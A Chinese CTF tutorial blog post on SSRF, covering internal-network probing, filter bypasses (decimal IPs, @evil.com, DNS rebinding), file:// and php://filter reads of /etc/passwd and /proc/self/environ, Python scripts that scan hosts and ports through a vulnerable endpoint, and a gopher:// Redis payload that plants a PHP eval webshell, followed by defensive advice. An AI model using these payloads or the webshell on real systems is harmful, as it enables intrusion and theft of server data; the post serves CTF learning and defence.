三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

SSRF漏洞实战:从原理到CTFHub技能树内网渗透与端口扫描

SSRF漏洞实战:从原理到CTFHub技能树内网渗透与端口扫描

1. 项目概述:从CTFHub技能树看SSRF实战精要

最近在带新人过CTFHub的技能树,发现SSRF(Server-Side Request Forgery,服务端请求伪造)这个点卡住了不少人。很多人知道概念,但一碰到具体题目,比如“内网访问”、“用伪协议读文件”、“端口扫描”这些经典考点,思路就乱了,工具用起来也不顺手。这其实挺正常的,SSRF本身就是一个“知易行难”的漏洞,它考验的不仅仅是知道漏洞原理,更是对网络协议、服务器环境、过滤规则的综合理解和灵活绕过能力。

简单来说,SSRF就是让后端服务器代替攻击者去发起一个网络请求。这个请求的目标可以是外网,但更危险、在CTF和实战中更常见的是对内网资源的探测与攻击。为什么它这么重要?因为现代应用架构中,后端服务器往往处于一个相对受信任的内部网络位置,它能访问到外部攻击者直接触碰不到的系统和端口,比如数据库的管理后台、Redis服务、甚至是云平台的元数据接口。通过SSRF,攻击者就像拿到了一把从内部打开大门的钥匙。

CTFHub技能树里这几个题目——“内网访问”、“伪协议读取文件”、“端口扫描”,可以说是SSRF攻击最核心、最基础的三个应用场景,几乎涵盖了入门到进阶所需的所有关键技能。搞懂了它们,你不仅能轻松应对大部分CTF中的SSRF题,对真实渗透测试中的信息收集和内网突破也会有更清晰的认识。接下来,我就结合带人刷题的经验,把这几个场景掰开揉碎了讲清楚,重点放在那些容易踩坑的细节和真正好用的技巧上。

2. SSRF核心原理与在CTF中的常见出题逻辑

要打好SSRF,不能光记payload,得先明白服务器为什么会“听话”地帮我们去发起请求。这得从Web应用的常见功能说起。

2.1 漏洞成因:为什么服务器会“代劳”?

想象一个场景:一个Web应用提供了“网页截图”、“天气查询”、“文件下载”或者“URL转码”功能。你输入一个URL,比如http://example.com,服务器端(通常是用PHP、Python、Java等语言写的后端代码)会去获取这个URL的内容,然后把结果处理一下再展示给你。这个过程大致如下:

  1. 用户在前端输入一个URL参数,例如?url=http://example.com
  2. 后端代码(比如PHP的file_get_contents()curl_exec())接收到这个参数。
  3. 后端代码不加严格校验,直接使用这个参数去发起网络请求。
  4. 服务器将请求http://example.com的结果返回给用户。

漏洞就出现在第3步:缺乏对用户输入URL的严格校验。如果攻击者提交的不是一个普通的外网URL,而是一个指向内网地址(如http://192.168.1.1/admin)或者特殊协议(如file:///etc/passwd)的字符串,服务器也会傻傻地照办。因为请求是从服务器内部发起的,所以它可以畅通无阻地访问那些配置了“仅限内网访问”的资源。

在CTF题目中,出题人往往会模拟这种有问题的功能。比如,一个“网页快照”功能,或者一个“检测链接是否安全”的接口。题目源码里会故意留下一个未经验证或验证不严的请求函数,这就是我们的突破口。

2.2 CTF中SSRF题目的关键过滤与绕过点

出题人不会让你轻易得逞,他们会在代码中加入各种过滤规则。理解这些过滤机制,是构造有效payload的前提。常见的过滤点包括:

  • 协议黑/白名单:只允许http://https://,或者禁止file://gopher://dict://等危险协议。
  • 域名或IP限制:禁止指向内网IP段(如127.0.0.1192.168.*.*10.*.*.*172.16.*.*172.31.*.*),或者要求域名必须包含某个关键词(如ctfhub.com)。
  • URL解析与重定向:代码可能会对输入的URL进行解析,提取host,或者检查是否指向某个已知的、安全的地址,然后可能会经过一次或多次重定向。

对应的,我们也有丰富的绕过手段:

  • 利用URL解析差异:这是最经典的绕过方式。不同语言、不同库的URL解析器可能存在行为差异。
    • 添加端口http://127.0.0.1:80@evil.com在某些解析中,@前面的部分会被认为是认证信息(用户名:密码),实际请求的是evil.com。但有些老旧或配置不当的解析器,可能会错误地请求127.0.0.1:80
    • 利用畸形URL:如http://127.0.0.1%00.evil.com,解析器可能在%00(空字节)处截断,实际访问127.0.0.1
    • 域名重绑定:这是高阶技巧。你控制一个域名,将其A记录指向一个公网IP,但TTL设置极短。当服务器第一次解析你的域名得到公网IP并通过校验后,你迅速将域名解析改为内网IP(如127.0.0.1)。由于服务器可能缓存了DNS结果,或者在某些异步请求场景下,第二次实际请求时,域名就指向了内网地址。CTF中有时会直接给出一个可配置的域名服务来模拟。
  • 利用IPv6、IPv4十进制、八进制格式
    • 内网回环地址127.0.0.1可以表示为:
      • 十进制整数:2130706433(计算方式:127*256^3 + 0*256^2 + 0*256 + 1)
      • 八进制:0177.0.0.1017700000001
      • 十六进制:0x7f.0x0.0x0.0x10x7f000001
    • 这些格式可能绕过简单的字符串匹配过滤。
  • 利用302/307重定向:如果目标服务器允许跟随重定向(这是默认行为),我们可以先提供一个合法的、指向我们可控服务器的URL。当服务器请求这个URL时,我们返回一个HTTP 302状态码,Location头指向内网目标地址。这样,服务器就会自动跳转到内网地址进行请求。Python的requests库默认会跟随重定向,PHP的curlfile_get_contents在某些配置下也会。
  • 利用不常见的协议或协议组合
    • file://协议用于读取本地文件。
    • dict://协议可用于探测端口(它会尝试连接并返回字典协议横幅)和部分信息泄露。
    • gopher://协议是“万能协议”,可以构造出HTTP、Redis、MySQL等协议的原始数据包,实现更复杂的攻击,但现代环境中支持较少。
    • ssrf://等自定义协议处理不当也可能导致问题。

注意:在实际操作和CTF中,file_get_contents()curl的行为有时不同。例如,curl默认会对URL进行编码,而file_get_contents可能不会。curl支持更多的协议和选项。测试时,如果一种payload不成功,可以尝试换用另一种函数可能触发的格式。

3. 场景一:内网访问探测与利用

“内网访问”是SSRF最直接的应用。目标通常是获取那些监听在内网、且对外不可见的Web服务信息。

3.1 目标识别与地址空间探测

拿到一个可能存在SSRF的点,第一步不是盲打,而是信息收集。

  1. 确定漏洞点与参数:通过Burp Suite抓包,观察哪些参数看起来像是URL、路径或主机地址。常见参数名:url,link,path,file,api,service,proxy等。
  2. 判断是否有过滤:先提交一个合法的外网URL(如http://httpbin.org/get),看功能是否正常,响应是否包含目标URL的内容。然后尝试提交http://127.0.0.1http://localhost。根据返回结果(错误信息、延时、内容差异)判断是否被过滤。
  3. 探测内网网段:如果基本确认存在SSRF,就需要系统地探测内网IP。常见的私有IP段(RFC 1918)有:
    • 10.0.0.0/8(10.0.0.0 - 10.255.255.255)
    • 172.16.0.0/12(172.16.0.0 - 172.31.255.255)
    • 192.168.0.0/16(192.168.0.0 - 192.168.255.255)
    • 此外,127.0.0.0/8整个环回地址段也值得关注,不只是127.0.0.1

在CTF中,为了降低难度,内网段通常很小,可能是192.168.0.0/24172.16.0.0/24。但在真实环境中,需要更全面的扫描。

3.2 利用工具进行自动化扫描

手动构造每个IP的URL效率太低。我们可以结合SSRF漏洞点和现有工具进行自动化探测。

方法一:使用Burp Suite的Intruder(最常用)这是最直观的方法。假设漏洞点在http://target.com/vuln.php?url=XXX

  1. 在Burp中抓取包含url参数的请求,发送到Intruder。
  2. Positions标签,清空所有自动标记,只将url参数的值(例如http://example.com)标记为 payload 位置。
  3. Payloads标签,选择Payload typeNumbers。为了生成IP地址,我们需要自定义。
    • 更推荐使用Runtime fileSimple list,提前用脚本生成一个IP列表文件。例如,用Python生成C段所有IP:
      for i in range(1, 255): print(f"http://192.168.1.{i}")
      将输出保存为ip_list.txt,在Burp中加载此文件。
  4. Settings->Grep - Match中,可以添加一些关键词来标记成功的响应,如“管理后台”、“登录”、“Index of”等,便于快速识别。
  5. 开始攻击。观察响应长度、状态码与其他的差异。通常,开放的Web服务会返回200状态码和较长的响应体,而关闭的端口可能返回连接超时、连接拒绝的错误,或者响应很短。

方法二:编写Python脚本与SSRF漏洞点联动如果Burp不方便,或者需要更复杂的逻辑,可以写一个简单的Python脚本。

import requests import sys target = "http://target.com/vuln.php" param = "url" for i in range(1, 255): ip = f"192.168.1.{i}" test_url = f"http://{ip}" payload = {param: test_url} try: # 设置较短超时,避免长时间等待 resp = requests.get(target, params=payload, timeout=3) if resp.status_code == 200 and len(resp.content) > 100: # 根据实际情况调整条件 print(f"[+] Found: {ip} - Status: {resp.status_code}, Length: {len(resp.content)}") # 可以进一步检查响应内容中是否包含特定关键字 if b"flag" in resp.content or b"admin" in resp.content.lower(): print(f" Potential interesting content at {test_url}") print(resp.text[:500]) # 打印前500字符预览 except requests.exceptions.RequestException as e: # 连接超时、拒绝等异常,通常表示端口关闭或主机不存在 # print(f"[-] {ip} failed: {e}") pass

这个脚本会批量测试192.168.1.1192.168.1.254,并打印出可能存在Web服务的IP。

方法三:利用DNS重绑定与协作工具对于更复杂的过滤(如检查IP是否属于内网段),DNS重绑定是利器。你可以使用在线服务如rbndr.us,或者自己搭建一个DNS服务器。原理是:你提供一个域名(如7f000001.rbndr.us),该域名第一次解析返回一个公网IP(用于通过过滤检查),TTL极短(如0秒)。当服务器真正发起请求时,DNS服务器返回内网IP(如127.0.0.1)。这样,请求就成功指向了内网。在CTF中,题目有时会提供一个可控的域名解析接口来模拟这种场景。

3.3 访问到内网服务后做什么?

当你发现一个内网Web服务(比如http://192.168.1.100:8080),接下来就是常规的Web渗透测试了。

  1. 目录扫描:使用dirsearchgobuster等工具,扫描隐藏的目录和文件,如/admin,/backup,/config,/phpinfo.php
  2. 识别应用:通过HTTP响应头、页面特征、Cookie等识别运行的应用(如Tomcat, Jenkins, WordPress, 路由器管理界面)。
  3. 尝试默认凭据:很多内网服务使用弱口令或默认密码。准备一份常见的用户名密码字典进行爆破。
  4. 寻找漏洞:根据识别出的应用和版本,搜索对应的公开漏洞。
  5. 读取敏感文件:如果服务存在任意文件读取(LFI),可以尝试读取/etc/passwd/proc/self/environ、应用配置文件等。
  6. 寻找Flag:在CTF中,目标很明确,flag可能就在页面的源代码、注释、响应头,或者某个特定文件中。

实操心得:内网扫描时,响应时间响应长度是两个极其重要的指标。一个开放的HTTP服务(状态码200)和“连接被拒绝”的错误(可能伴随一个简短的错误页面)在长度上差别很大。在Burp Intruder中,按“响应长度”排序,能快速定位到异常条目。另外,注意观察是否有“跳转”。如果提交http://192.168.1.100返回了302跳转到登录页,这也说明该IP存在服务。

4. 场景二:利用伪协议读取本地文件

当SSRF漏洞点支持除了HTTP/S以外的协议时,攻击面就大大增加了。file://协议是其中最直接的一种,允许我们读取服务器本地的文件。

4.1 file:// 协议详解与利用

file://协议用于访问本地文件系统。其基本格式为file:///绝对路径。在Linux/Unix系统上,三个斜杠后的路径是绝对路径,如file:///etc/passwd。在Windows系统上,可能是file:///C:/Windows/win.ini

在CTF中的应用: 题目通常会在服务端使用类似file_get_contents($_GET['url'])的代码。如果我们传入?url=file:///etc/passwd,服务器就会读取本地的/etc/passwd文件并将其内容输出到响应中。

常见敏感文件路径(Linux)

  • /etc/passwd:用户账户信息,常作为漏洞存在的证明。
  • /etc/shadow:用户密码哈希(通常需要root权限)。
  • /etc/hosts:主机名映射。
  • /proc/self/environ:当前进程的环境变量,可能包含数据库密码、密钥等。
  • /proc/self/cmdline:启动当前进程的命令行参数。
  • /proc/net/arp:ARP缓存表,有助于了解内网拓扑。
  • /proc/version:系统内核版本。
  • Web应用源码:如/var/www/html/index.php/app/config/database.php
  • 日志文件:如/var/log/apache2/access.log,可能包含敏感信息。

常见敏感文件路径(Windows)

  • C:\Windows\System32\drivers\etc\hosts
  • C:\boot.ini(旧系统)
  • C:\Windows\win.ini
  • Web应用目录下的配置文件。

4.2 绕过协议限制与路径遍历

出题人肯定不会让你直接使用file://。常见的限制和绕过方法如下:

  1. 协议黑名单:代码可能过滤了file://字符串。

    • 大小写绕过File://FILE://fiLe://
    • URL编码:对部分或全部字符进行URL编码。file://编码后是%66%69%6c%65%3a%2f%2f。但要注意,服务器可能在解析前会解码一次。
    • 双重编码%2566%2569%256c%2565%253a%252f%252f(对百分号本身也编码)。如果服务器进行了两次解码,可能生效。
    • 使用其他协议:如果支持php://filter,可以用它来读取文件(见下文)。
  2. 路径过滤与目录穿越:代码可能检查路径中是否包含etcpasswd等关键词。

    • 绝对路径:直接使用/etc/passwd
    • 相对路径:如果知道Web根目录,可以尝试../../../../etc/passwd进行目录穿越。file://协议也支持相对路径,但基点取决于服务器进程的当前工作目录,通常不好猜。
    • 空字节截断:在PHP老版本(<5.3.4)中,?url=file:///etc/passwd%00.jpg,如果代码后面有拼接后缀的检查,%00可能被截断。但现代PHP版本已修复。
    • 利用软链接:如果服务器上存在指向敏感文件的软链接,可以读取链接文件。

4.3 利用php://filter协议实现更灵活的读取

PHP环境下,php://filter是一个强大的伪协议,它本身不是用来发起网络请求的,但常与文件包含、文件读取函数结合,在SSRF的上下文中,如果后端代码是include()file_get_contents(),且参数部分可控,就可能利用它。

php://filter可以用于读取文件,并且能在读取过程中对数据进行编码转换,这有时能绕过一些内容检查或显示限制。

  • 基本读取php://filter/read=convert.base64-encode/resource=/etc/passwd

    • 这个payload会以base64编码的形式读取/etc/passwd文件的内容。输出是一串base64字符串,解码后即可得到原文。
    • 为什么要base64编码?因为原始文件可能包含特殊字符(如<,>),直接输出可能会被浏览器解释为HTML标签,或者被服务端的某些输出过滤拦截。Base64编码后是纯文本,能完整传输。
  • 组合利用:假设SSRF点完全可控,但直接输出文件内容被拦截,可以尝试:?url=php://filter/read=convert.base64-encode/resource=file:///etc/passwd这种嵌套用法不一定总是有效,取决于后端代码如何处理协议。更常见的是直接指定文件路径。

  • 其他过滤器

    • convert.iconv.*:进行字符集转换,有时可用于绕过WAF或处理特殊编码文件。
    • string.rot13:对内容进行ROT13编码。
    • zlib.*:进行压缩/解压。

注意事项php://filter通常只在PHP环境中有效,且需要allow_url_include设置为On时才能与include等函数完美配合。对于file_get_contents()allow_url_fopen需要为On。在CTF中,这些设置往往是为了题目而开启的。在实际渗透测试信息收集时,如果发现目标使用PHP,可以尝试此协议。

5. 场景三:利用SSRF进行端口扫描

端口扫描是SSRF另一个杀手级应用。通过服务器作为代理,我们可以探测目标内网主机开放了哪些端口,从而识别运行的服务(如SSH-22, Telnet-23, HTTP-80/443, HTTPS-443, FTP-21, MySQL-3306, Redis-6379, MongoDB-27017等)。

5.1 基于HTTP响应的端口探测原理

原理很简单:我们构造一个指向目标IP:端口的URL(如http://192.168.1.1:80),让服务器去请求它。然后根据服务器的响应情况来判断端口状态:

  1. 端口开放且有HTTP服务:通常会返回一个正常的HTTP响应(状态码200, 301, 404等),响应体有内容。这是最理想的情况。
  2. 端口开放但非HTTP服务:服务器尝试建立TCP连接后,会发送HTTP请求报文。如果对端是SSH、Redis等非Web服务,它们无法理解HTTP请求,可能会直接关闭连接,或者返回一些乱码。此时,后端PHP函数(如file_get_contents())可能会报错(如“连接重置”、“无效的HTTP响应”),但关键点是连接成功建立了。我们可以通过检查错误信息是否包含“连接被拒绝”(Connection refused)来区分。
  3. 端口关闭:服务器会立即收到“连接被拒绝”的错误。在PHP中,file_get_contents()会因此产生一个警告并返回False,但脚本可能捕获这个错误并返回一个自定义的错误页面。
  4. 端口被防火墙过滤:连接会超时。file_get_contents()默认超时时间较长(通常几十秒),会导致脚本响应极慢。

因此,我们的扫描脚本需要根据响应时间错误信息来综合判断。

5.2 手动与自动化扫描技巧

手动测试: 使用Burp Suite的Repeater模块,修改url参数为http://192.168.1.1:22http://192.168.1.1:3306等。观察:

  • 响应时间:如果很快返回“连接被拒绝”,端口可能关闭。如果等待几秒后返回超时错误,端口可能被过滤或主机不存在。如果很快返回但内容异常(非HTTP协议),端口可能开放。
  • 响应内容/错误信息:仔细阅读返回的HTML或错误信息。有时错误信息会明确告知“Failed to connect to ... Connection refused”或“Connection timed out”。

自动化扫描脚本示例: 下面是一个更健壮的Python扫描脚本,它考虑了超时和连接状态。

import requests import time import sys target = "http://target.com/ssrf.php" param = "url" ports_to_scan = [21, 22, 23, 80, 443, 8080, 3306, 6379, 27017] # 常见端口 internal_ip = "192.168.1.100" # 目标内网IP open_ports = [] for port in ports_to_scan: test_url = f"http://{internal_ip}:{port}" payload = {param: test_url} start_time = time.time() try: # 设置短超时,比如2秒,提高扫描效率 resp = requests.get(target, params=payload, timeout=2) elapsed = time.time() - start_time # 如果能收到响应(即使是错误页),说明TCP连接建立了 print(f"[+] Port {port} on {internal_ip} seems OPEN (HTTP responded in {elapsed:.2f}s, status: {resp.status_code}, len: {len(resp.content)})") open_ports.append(port) except requests.exceptions.ConnectTimeout: print(f"[-] Port {port} on {internal_ip} TIMEOUT (filtered or host down?)") except requests.exceptions.ConnectionError as e: # 连接错误,可能是连接被拒绝(RST)或网络不可达 elapsed = time.time() - start_time # 如果错误发生得很快,很可能是连接被拒绝(端口关闭) if elapsed < 0.5: print(f"[-] Port {port} on {internal_ip} likely CLOSED (Connection refused)") else: print(f"[-] Port {port} on {internal_ip} Connection Error: {e}") except requests.exceptions.ReadTimeout: # 连接建立但读取超时,可能是服务不返回标准HTTP响应 print(f"[?] Port {port} on {internal_ip} OPEN? (TCP connect OK but not HTTP service)") open_ports.append(port) except Exception as e: print(f"[!] Port {port} error: {e}") print(f"\nSummary - Open ports on {internal_ip}: {open_ports}")

这个脚本通过捕获不同类型的异常和响应时间,来更精确地判断端口状态。ConnectionError且耗时极短通常意味着“连接被拒绝”(端口关闭)。ConnectTimeout意味着超时(可能被防火墙过滤)。成功收到响应或ReadTimeout通常意味着端口开放。

5.3 识别常见非HTTP服务

发现开放的非HTTP端口后,可以进一步探测是什么服务。

  • 使用dict协议dict://协议可以连接到某些服务并获取其横幅信息。例如:?url=dict://192.168.1.1:6379/info可能会连接到Redis服务并执行INFO命令(如果Redis未设置密码)。但很多环境不支持dict协议。
  • 分析响应内容:即使服务不支持HTTP,file_get_contents()也可能会把服务返回的原始数据(banner)包含在错误信息或响应体中。例如,连接到一个SSH端口(22),可能会在错误信息中看到SSH-2.0-OpenSSH这样的横幅。
  • 基于端口的推测:结合端口号进行推测,然后尝试对应的攻击方式。例如,发现6379端口开放,很可能是Redis,可以尝试未授权访问或SSRF攻击Redis。

踩坑记录:端口扫描最大的坑是速度隐蔽性file_get_contents()默认超时时间很长(在php.ini中是default_socket_timeout,默认60秒)。如果扫描一个关闭的端口,脚本会挂起直到超时,这会让扫描慢得无法忍受。因此,在PHP环境中,如果可能,要利用stream_context_create()设置超时;在利用时,我们的脚本也要设置短超时。另外,频繁的扫描可能会触发目标服务器的防火墙或WAF规则,导致IP被临时封锁。在CTF中问题不大,但在真实测试中需要控制速率,添加随机延时。

6. 综合实战:CTFHub SSRF题目精讲与技巧串联

现在,我们把前面的知识串联起来,模拟攻克CTFHub技能树中典型的SSRF题目。假设我们遇到一个题目,界面提示“请输入一个URL,我将获取其标题”。

6.1 第一步:信息收集与漏洞确认

  1. 功能测试:输入http://httpbin.org/get,页面返回了httpbin.org页面的标题,说明功能正常。
  2. 尝试基本SSRF:输入http://127.0.0.1。页面返回“禁止访问内网!”的错误。说明存在内网IP过滤。
  3. 尝试其他协议:输入file:///etc/passwd。页面返回“仅允许HTTP/HTTPS协议!”。说明存在协议白名单(只允许http/https)。
  4. 分析过滤逻辑:看起来是“协议白名单”+“内网IP黑名单”的组合拳。

6.2 第二步:绕过过滤,探测内网

绕过IP过滤

  1. 域名重绑定:题目是否提供了可控的域名服务?查看题目描述或源代码提示。
  2. 利用解析差异:尝试http://127.0.0.1.xip.ioxip.io是一个方便的DNS服务,127.0.0.1.xip.io会解析到127.0.0.1。但过滤可能检查最终解析的IP。
  3. IPv6或特殊格式:尝试http://[::1](IPv6回环),http://0177.0.0.1(八进制),http://2130706433(十进制)。发现http://2130706433成功返回了本地主页!说明过滤是基于字符串匹配127.192.168.等,没有将十进制IP转换回来检查。

发现内网服务: 现在可以用十进制IP扫描内网了。将之前的扫描脚本中的IP格式改为十进制。

import requests target = "http://challenge-addr/ssrf.php" param = "url" def ip_to_decimal(ip): parts = ip.split('.') return (int(parts[0]) << 24) + (int(parts[1]) << 16) + (int(parts[2]) << 8) + int(parts[3]) base_ip = "192.168.1.{}" for i in range(1, 255): ip = base_ip.format(i) dec_ip = ip_to_decimal(ip) test_url = f"http://{dec_ip}" payload = {param: test_url} try: resp = requests.get(target, params=payload, timeout=2) if len(resp.content) > 100: # 忽略错误页 print(f"[+] Found: {ip} ({dec_ip}) - Length: {len(resp.content)}") # 如果响应内容里包含特定关键词,比如‘flag’,‘admin’ if b'flag' in resp.content: print(f" Potential flag at {test_url}") # 可以进一步请求这个URL的特定端口或路径 except: pass

运行脚本,发现192.168.1.101(十进制约为3232235877) 返回了一个长度不同的页面,疑似有服务。

6.3 第三步:端口扫描与深度利用

192.168.1.101进行端口扫描(使用十进制IP格式)。

internal_ip_dec = 3232235877 ports = [80, 8080, 6379, 9000] # 常见Web和非Web端口 for port in ports: test_url = f"http://{internal_ip_dec}:{port}" payload = {param: test_url} try: resp = requests.get(target, params=payload, timeout=2) print(f"[+] Port {port} OPEN - Status: {resp.status_code}, Len: {len(resp.content)}") if b"Redis" in resp.content: # 检查是否是Redis banner print(" This might be a Redis service!") except requests.exceptions.ConnectionError: print(f"[-] Port {port} CLOSED") except requests.exceptions.ReadTimeout: print(f"[?] Port {port} OPEN (non-HTTP?)")

发现3232235877:6379端口开放,且返回内容包含Redis字样,确认是Redis服务。

6.4 第四步:攻击非HTTP服务(以Redis为例)

发现内网Redis未授权访问(或通过SSRF可访问)。我们可以利用SSRF攻击Redis,写入Webshell或反弹Shell。

前提:需要目标服务器支持gopher://协议(较老PHP环境可能支持),或者存在可以污染协议的其他方式。CTF题目有时会特意开启gopher支持。

利用Gopher协议攻击Redis: Gopher协议可以发送原始的TCP数据。我们可以构造一个符合Redis协议格式的payload。

  1. 构造Redis命令:例如,想写入一个Webshell到Web目录。
    flushall set shell "<?php @eval($_POST['cmd']);?>" config set dir /var/www/html config set dbfilename shell.php save
  2. 将命令转换为Redis协议格式:Redis协议是简单文本协议,每行以\r\n结尾。数组用*<元素个数>\r\n开头,后面跟每个元素的二进制安全字符串格式$<长度>\r\n<数据>\r\n。 以set shell "<?php @eval($_POST['cmd']);?>"为例,转换后是:
    *3\r\n$3\r\nset\r\n$5\r\nshell\r\n$31\r\n<?php @eval($_POST['cmd']);?>\r\n
    你需要将整个操作序列的所有命令都按此格式拼接。
  3. URL编码:将整个payload进行URL编码,以便通过GET参数传递。
  4. 发起请求?url=gopher://192.168.1.101:6379/_<URL编码后的Redis协议数据>。 注意,gopher://格式是gopher://<host>:<port>/_<TCP数据>,数据前需要一个下划线。

由于构造过程复杂,通常使用现成工具或脚本。例如,可以使用Gopherus这类工具自动生成攻击Redis的gopher链接。

重要提醒:在CTF中,如果题目提示或环境允许使用Gopher协议,这通常是解题的关键一步。在实际渗透测试中,gopher协议的支持已越来越少,需要重点测试file,http/https,dict等协议。此外,攻击内网Redis、MySQL等服务的利用方式,要求你对这些服务的协议有一定了解。

7. 防御视角:从攻击手法看SSRF防护要点

理解了攻击,才能更好地防御。从开发者和运维的角度,防范SSRF需要多管齐下:

  1. 输入验证与过滤(白名单优先)

    • 协议白名单:只允许http://https://。禁用file://,gopher://,dict://,ftp://等所有不必要的协议。
    • 目标地址白名单:如果业务只允许访问少数几个固定的外部域名/IP,直接建立白名单。
    • 域名/IP黑名单:至少应过滤掉所有内网IP段(回环地址、私有地址、链路本地地址等)和元数据服务地址(如169.254.169.254用于AWS/Aliyun等云平台)。
    • 注意解析一致性:使用统一的、安全的URL解析库(如Python的urllib.parse, PHP的parse_url),并在过滤前进行规范化处理,确保过滤逻辑针对的是最终用于请求的host,而不是原始输入。
  2. 禁用不必要的URL Schema:在PHP中,确保allow_url_fopenallow_url_includephp.ini中设置为Off(除非业务必须)。这能从根本上阻止file://php://等伪协议的部分危险用法。

  3. 网络层隔离

    • 出口过滤:严格限制服务器发起的出站连接。只允许业务需要访问的特定IP和端口。这可以防止SSRF请求到达内网关键服务。
    • 服务加固:内网服务不应使用默认端口和弱口令。像Redis、MySQL等应设置强密码,并绑定到127.0.0.1或内网特定IP,避免监听在0.0.0.0
  4. 使用安全的替代方案

    • 如果功能是获取远程图片,可以考虑先下载到服务器临时目录,经过安全检查(文件头、内容扫描)后再处理。
    • 使用受信任的代理服务或中间层来转发请求,并在代理层实施严格的过滤策略。
  5. 错误信息处理:避免将详细的内部错误信息(如连接失败的具体IP和端口)返回给用户。应返回统一的、模糊的错误提示。

对于CTF选手来说,了解这些防御措施,能帮助你更好地预测出题人可能设置的过滤点,从而思考更巧妙的绕过方法。攻防永远是一个螺旋上升的过程。

← 返回列表